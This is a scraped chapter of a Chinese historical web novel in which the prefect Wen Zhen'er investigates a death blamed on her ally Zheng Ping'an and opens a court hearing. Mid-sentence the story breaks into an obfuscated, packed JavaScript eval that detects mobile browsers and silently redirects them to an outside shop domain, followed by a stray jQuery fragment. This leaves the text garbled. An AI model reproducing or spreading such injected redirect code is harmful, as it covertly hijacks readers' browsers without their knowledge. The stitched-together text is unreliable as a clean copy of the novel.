屋里几人同时看过来,站在最为平常的烟火日子里冲她们笑。
今天之前还在担忧朝不保夕,今天之后,再也不用了。
“快进来,”铁头忙迎出来,“外头冷,要是知道你们回来晚,我该赶了车去接的。”
温蒖儿收起情绪,笑着玩笑:“有许相公在,他一路背着娓娓不肯让给别人,比车还好用呢!”
铁头憨憨笑着,手脚麻利安放好桌椅,米薇已经将食物摆了上来。
锅里炖的竟是一锅野鸡肉,米薇笑着夸铁头:“今日出城,别人都去净土寺莫高窟,铁头偏说这段日子山里少有人去,一定有野物。果然,打了两只野鸡回来!”
她脸上是久违的鲜活,连曹娓娓都惊讶她居然还有这样一面。
楼家存的多是粮食,肉类蔬菜不易放,早就断了顿,如今有这样一锅美味,配上米薇家乡的花椒叶胡饼,谁还顾得上维持形象?
连吃食上不怎么上心的曹娓娓也食指大开,吃得满嘴流油;更别说吃了许久粗粮的男人们,几乎风卷残云,吃得干干净净。
温蒖儿满意摸着肚子,感慨不已:才看过了美轮美奂的壁画,又吃上了如同仙馔的美食,这简直就是壁画上画的神仙日子。
“大小姐……”
悠闲了不到一刻,温蒖儿正躺着消食,外头康大胆扯着嗓子喊她。“出事了!”康大胆跑得气喘吁吁,铁头忙将他让进来,问:“康兄弟,吃过饭了吗?”
康大胆哪里顾得上吃饭,喘着粗气,说:“大小姐,经学那里,打起来了!”
温蒖儿躺得正舒坦,满不在乎,问:“谁和谁?”
康大胆比比划划,很是着急:“赵家的人,和老五,打起来了!老五下了重手,那姓赵的,估计没命了!”
这叫打起来了?这不是出了人命么?!
温蒖儿轱辘一下翻身起来,满地找自己的鞋。
铁头替她找好了,温蒖儿说了声“多谢!”,靸了鞋提脚便走。
康大胆紧随其后,铁头忙里偷闲给他塞了张胡饼,大声叮嘱:“路上吃!”
温蒖儿大概猜得出为什么起冲突,赵家一直记恨着她石窟的事,郑平安又不许别人说她一句不好,自然要打起来。
只是她没想到这样严重,那赵文奇躺在血泊里,一丝生气也无。
身边是个中年妇人,大概是他母亲,正扑在身上哭得肝肠寸断。
郑平安被许多人围着,锄头镰刀不由分说全往他身上招呼,他也只是一味的被动躲避。只在躲避之余,冲赶来的温蒖儿喊了一句:“我没有!我碰都没碰到他,你信我!”
明显看出他收着力气,不然以郑平安的身手,将这些普通百姓全部放倒都不在话下。
见她来了,赵家的人先围上来一群,温蒖儿也分不清谁是谁,只听他们叽叽喳喳各说各的,毫无头绪。
“停!”温蒖儿实在听不清,大喊一声,指着离自己最近的一个妇人,问,“你说,到底怎么回事?”
这妇人像是得了救星,一拍大腿,坐地上就哭,边哭边唱:“我的可怜的娃娃呀……”
温蒖儿扶额,再凶残的外敌,终究是有克敌之法的;她最审判不了的就是这种官司,重了不行轻了不行,有时候连一碗水端平也不行。
见她为难,康大胆却不管,往温蒖儿身边一站,厉声喊:“刺史叫你家先说,既然不说,那就让被告人先说!”
这句话真是管用,那妇人登时就不撒泼了,爬起来指着康大胆鼻子先骂:“哪个杀人凶手配先说话?我可怜的侄子啊,生生被这土匪打死了!我们知道刺史与这姓郑的关系匪浅,只怕刺史……”
“住口!”康大胆气得脸皮都紫涨起来,狠狠道,“什么事情还未交代你就攀扯刺史,安得什么心!我看先将你这满嘴胡吣的妇人打上二十棍再说!”
他本身就不是和善的长相,加上身量又大,这一生气更像个煞神。
那妇人虽被吓住,但见康大胆只是骂人并无行动,胆子逐渐大起来,招呼身边的人说:“乡亲们啊,你们都看着呢,这就是刺史身边的人啊,一个一个的原本都是土匪,摇身一变就骑在咱们脖子上拉屎了!哎呀娘啊,我不活了,就让我陪着文奇去了吧,也好过被自己人磋磨死啊……”
“给她刀!”
温蒖儿一直没说话,其实是在观察这些人的神情。
赵文奇的母亲是真的伤心,哭得几乎昏厥。但她身边这几个只顾表演的婶娘叔伯却很奇怪,像是特意哭给赵文奇母子两个听的。
温蒖儿冷不丁这一句,这些人都愣住了,尤其表演的正卖力的赵家婶娘。
手指缝里瞟了一眼温蒖儿,心里掂量她也不过是个丫头片子,又要接着嚎。
温蒖儿已经将康大胆递过来的刀丢在她脚边,冷冷说:“不是要去陪你侄子吗?动手吧!”
人群顿时鸦雀无声。
温蒖儿继续说:“不敢?我可以代劳!我杀人最是手快,你连疼痛都感觉不到一点,来试试?”
这些人不是不知道她的狠劲儿,她和桑陌周旋的时候他们可都在场。
今天放肆要闹,不过是觉得他们占着理。
赵家婶娘见她神情冷漠,终于不嚎了,摆手示意自己不想做试刀的鬼。
温蒖儿冷眼一个个看过去,将刀递到他们面前,一个个问:“那你试?……还是你?……”
问了一圈再无出头的,温蒖儿这才走到赵文奇尸体旁,问正哭得伤心的赵文奇母亲:“赵夫人,节哀。想必夫人此时没什么心情与我说话,不如先将公子送去衙门让仵作验尸。夫人放心,我一定会找出公子死因,给您一个交代。”
说完示意康大胆搬尸体,温蒖儿本以为赵家人闹成这样,赵文奇的母亲会更加难缠。谁知她只是轻轻擦干净儿子嘴角的血,满脸不舍地看着儿子尸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691297|205090||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
体被抬走。
心中疑云更甚。
但这是退敌之后的第一桩大案子,若审不好,往后沙州百姓便不好管了。
叫人将涉事双方都带回府衙,温蒖儿正要叫康大胆去庄子叫曹娓娓过来,谁知一转身,曹娓娓已经在许策陪同下,拄着拐站在她身后。
这是一种叫人无比心安的挂念,就像远行的人时时都能收到的那封家信,纸张笔墨都是极常见的东西,但一旦融进了惦记、想你之所想、甘愿为你后盾等等的东西,就变得重似千金又无比珍贵了。
“你怎么来了?”温蒖儿心里一暖,忙迎上去,“天黑路难行,你的腿……”
曹娓娓越过她肩膀,往人群里看了一眼,问:“我没事,东阳跟着呢。你还好吗?这些人看样子不像苦主。”
抬眼一笑赞许她的敏锐。若不是这么多人在场,温蒖儿真要上去夸奖她一番。
这就是温蒖儿为什么打算叫她过来的原因,第一,于刑狱上温蒖儿涉猎不深,反是曹娓娓记忆力极好,从小将这律法条例背得滚瓜烂熟;第二,曹娓娓的舅舅燕方质在大理寺卿的位置上做了十年,这十年正是她母亲燕竟出家无人照看她,她便四处混迹,什么都学的十年。
要审人命案子,叫曹娓娓来再合适不过。曹娓娓也明白,所以特意赶过来助她。
温蒖儿扶了她,说:“你看得不错,赵家的人已经撒过泼了,反观赵文奇母亲,伤心是伤心,反倒没那么激动!”
曹娓娓也看到了堂上坐着的中年妇人,口唇发白,神情哀伤,却没有其他人的义愤填膺叽叽喳喳之感。
安顿曹娓娓坐在一边旁听,温蒖儿坐上大堂,问:“堂下站着的都是什么人,报上名字!”
赵家的人又要一哄而上,温蒖儿冷眼看过去,指着其中一个中年男人,说:“你是死者什么人?”
这人看了眼赵文奇的母亲才开口:“我是文奇的叔父,我侄儿一向遵纪守法、勤勉刻苦,就因为说了句刺史您的坏话,就被这匪人打死了!我赵家虽比不上楼家的族望,也是耕读传家的清贵之门,无缘无故被人打杀性命,还望刺史大人摒弃私人恩怨,为我侄儿做主!”
这赵家人还是能好好说话的嘛,温蒖儿听了又问:“你说郑平安打杀你侄儿,可有证据?”
赵家叔父立刻扬声:“我侄儿的尸身就在府衙,还需要什么证据!”
“当然需要,”能好好说话的人温蒖儿是很有耐心的,解释道,“你说这些人都看见郑平安行凶算是人证,可赵文奇身上究竟有没有伤,这伤是不是郑平安干的,都要等仵作验过尸体后才知晓。你们一直在强调我与郑平安的关系,可从头到尾郑平安都没为自己辩解过一句,这是不想让我为难。至于我信谁?我只信证据!只要证据证明是郑平安杀了你侄子,我绝不会徇私情。可证据若是证明赵文奇的死另有原因,我也会抓出这个真正的凶手,为你侄子讨回公道!”